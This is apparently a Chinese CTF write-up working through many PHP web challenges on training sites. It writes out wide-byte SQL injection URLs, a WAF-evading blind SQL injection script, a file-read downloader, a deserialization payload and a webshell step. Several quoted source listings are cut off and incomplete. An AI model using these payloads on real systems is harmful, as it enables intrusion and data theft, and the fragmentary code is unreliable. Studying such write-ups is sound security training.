源代码就有了
传一个字符串,值跟QNKCDZO一样但是又不是它的就行了
改了本地的maxlength就能输进去zhimakaimen然后拿到flag了
把图片下载下来丢去010editor就能看到flag了
点进去一直找,找到一个404.html就能看到了,真的藏得很深
页面很快就跳转,抓包就行了
这题抓包改一下referer成https://www.google.com就能拿到flag了,但是后台挂了,gg
这题我弄了很久,没看懂题目在要我简单的跑程序出flag还是要看着加密过程逆出来..........
然鹅,只是简单地跑下程序就出来了
这题oj也挂了,不过找到这个网址,应该是以前的oj的题,这个能做
http://4.chinalover.sinaapp.com/web7/index.php
先php://input试一下,发现触发waf
所以可以利用php://filter作为中间流去输出其他文件或者我们想要输入的东西,下面是输出index.php的源码,经过base64解密
解密得到
这题其实跟前一题单身题差不多,只是flag在响应头里
这题挂了,文件都下载不了,做不了=_=
题目提示很明显,看到cookie里面login是0
改下成1就get flag了
这题进去可以见到网页有Do you know robots.txt?
访问一下robots.txt可以看见一些源码
TIP:sql.php
no! try again";
}
else{
echo($query[content]);
}
}
?>
这题可以看见,后台将得到的参数进行整数转化,所以我们想闭合单引号进行注入是不行的了(这题也不是考注入........
但是如果我们输入1024e12的话,$id会是1024,int型直接去掉e后面的数字进行赋值,但是当判断$_GET[id]==1024时就会为假,因为没有强制类型转化,所以两个一个是1024,一个是1024*10^12,不相等,因此就能绕过得到flag
这题进去看见可以输入id,而id被单引号括着,在后面加一个单引号,发现被转义了,再加多一个反斜杠,结果又被转义的,猜测后台应该是有了addslashes函数,尝试下宽字节注入
这里有个提示是,当id等于2时页面会有gbk_sql_injection,当id等于3时页面会有the fourth table
所以剩下的要做的就是宽字节注入,查看第四张表
看数据库
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,database() --+
然后就是看表
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7361652d6368696e616c6f766572 --+
因为无法添加单引号或者双引号,所以用16进制绕过
题目提示了是第四张表,所以就直接看第四张表了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 --+
最后直接读flag了
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%df' and 0 union select 1,flag from ctf4 --+
这题是ereg函数绕过
进去就给源码
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
传进去一个nctf参数,要是数字,同时又要在里面有#biubiubiu,看起来好像很矛盾,但是有个ereg函数在
两个方法
第一个
%00截断,ereg函数解析到%00时会自动认为字符串已经结束,所以就能绕过第一个检测同时符合第二个了
第二个
传入数组,因为ereg处理数组会报null,第一个判断为假,所以刚好绕过了,而且strpos检测的也是报null,不等于false,也绕过了,就能出flag了
这题是考弱类型,只要是0e开头,php都会认为他们是相等的,所以传入几个md5以后是0e开头的值就行了
这题进去能看到有个source.php,点开看一看发现
pass是我们传进去的密码,thepassword_123是后台的密码,但是我们拿不到咯嗦,可是他有一个extract函数,可以对获得的变量进行赋值,构造一个语句,使pass和thepassword_123相等,就有flag了
这题貌似服务器又挂了2333,点进去.......就没了.........
这题据说是抓包改下X-Forwarded-For:127.0.0.1发过去就有flag了,可是发包过去居然没响应.........试下改了referer也还是不行,应该是挂了8,gg
这题提示头啊,应该就是抓包看头部就有flag了,但是服务器不响应,喵喵喵?太阔怕辣
就去看到有个文件上传
这题上传图片返回要上传php,上传php返回文件类型不对
试下大小写Php,php3不行,改content-type不行,1.php.jpg会解析出图片,filename截断也不可以,最后是路径截断
然后就有flag了
这题source有源码
Secure Web Login
'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "Logged in! flag:********************
";
}
if($query[user] != "admin") {
echo("You are not admin!
");
}
}
echo $query[user];
?>
Source
闭合单引号括号注释后面进行查询就行了
源码
因为是用strcmp去比较,所以如果传入数组就会返回0,非了以后就是真了
这题也给了源码
= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>
传入的key不能有数字但是又要等于54975581388,用十六进制转化一下
服务器挂了, ̄□ ̄||
这题也是讲下思路,有源码,但是也是进不去网页......
secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
利用反序列化输入一个对象满足条件去实现绕过
enter =& $this->secret;
}
}
$flag = new just4fun();
$flag->just4fun2();
echo serialize($flag);
取secret的地址赋给enter,就能满足条件了
本地测试得出O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
对页面进行访问就行了
源码可以看到
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES); //转义单引号和双引号
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
这题单引号双引号用不了,但是可以用反斜杠把单引号转义了
这题进去看到jsfuck代码
解密得到
访问看到
脑袋联想到响应头
访问一下
继续访问就有一个压缩包下下来,打开就有flag了
挂了..........
源码
Secure Web Login II
Logged in! Key: ntcf{**************} ";
}
else {
echo("Log in failure!
");
}
}
?>
Source
这题跟实验吧程序逻辑错误很像,构造sql语句,闭合前面,然后后面加上我们的赋值,就可以让语句查询到值了
这题点进去本cms说明的时候可以发现这里改一下后面的file的值是可以读取文件的,将文件读一下
这里用个脚本
import requests
import codecs
from bs4 import BeautifulSoup
url = "http://cms.nuptzj.cn/about.php?file="
file_list = ["index.php", "passencode.php", "say.php", "config.php", "antixss.php", "about.php", "so.php",
"antiinject.php", "xlcteam.php","loginxlcteam.php"]
for i in file_list:
res = requests.get(url + i)
print("dowload " + i)
if res.status_code == 200:
res.encoding = "utf8"
with codecs.open(i, "w+", "utf8") as handle:
print("done")
text = BeautifulSoup(res.text, "lxml").text
handle.write(text)
然后就能得到这些文件的源码了,这里有些是后来加上去的,题目一开始没有提示那么多,做着做着就发现了
这里只贴几个重要的文件的源码
so.php
搜索留言
'.antixss($rs['say']).'
';
mysql_free_result($result);
mysql_free_result($file);
mysql_close($con);
?>
antiinjection.php
passencode.php
其他的表可以得知数据表示admin,然后这里绕waf的脚本也知道了,剩下的就是注入了,注入点就是搜索那里,看回so.php,可以见到id没有引号括着,不用闭合(后台也过滤了引号
如果输入的语句是正确的,网页就会返回一段大秘密的话(很长
如果不正确,那就没有数据回显
然后就可以进行盲注了,这里贴贴大佬的脚本,肉鸡太菜了,脚本跑不动,不知道错在哪.........
import requests
url = "http://cms.nuptzj.cn/so.php"
chars = "0123456789"
header = {
'User-Agent': 'Xlcteam Browser',
'Host': 'cms.nuptzj.cn',
}
result = ""
for i in range(1,35):
for j in chars:
# print(j)
char = ord(j)
payload = '1/*x*/anANDd/*x*/exists(seleSELECTct/*x*/*/*x*/frFROMom/*x*/admiADMINn/*x*/WHERE/*x*/oORrd(substring(userpaspasss/*x*/froFROMm/*x*/{0}/*a*/FOorR/*a*/1))>{1})'.format(
i, char)
data = {
"soid": payload
}
response = requests.post(url=url, headers=header, data=data)
# print(response.text)
result_len = len(str(response.text))
if (result_len < 430):
result += chr(int(char))
print(result)
break
得出结果是1020117099010701140117011001160117
后台对密码的加密是对应他们的ascii码,所以解密过来就是fuckruntu
然后登录管理员页面,这里管理员页面是http://cms.nuptzj.cn/loginxlcteam/index.php
这个地址基本靠猜,看到有个loginxlcteam.php文件猜测的,真的没找到哪里有说明
登进去以后看到这个
然后一开始文件漏洞是可以帮我们看到xlcteam.php的源码的
'|.*|e',);
array_walk($arr, $e, '');
?>
然后就是一句话木马的利用
flag get√
后台挂了,GG
挂了too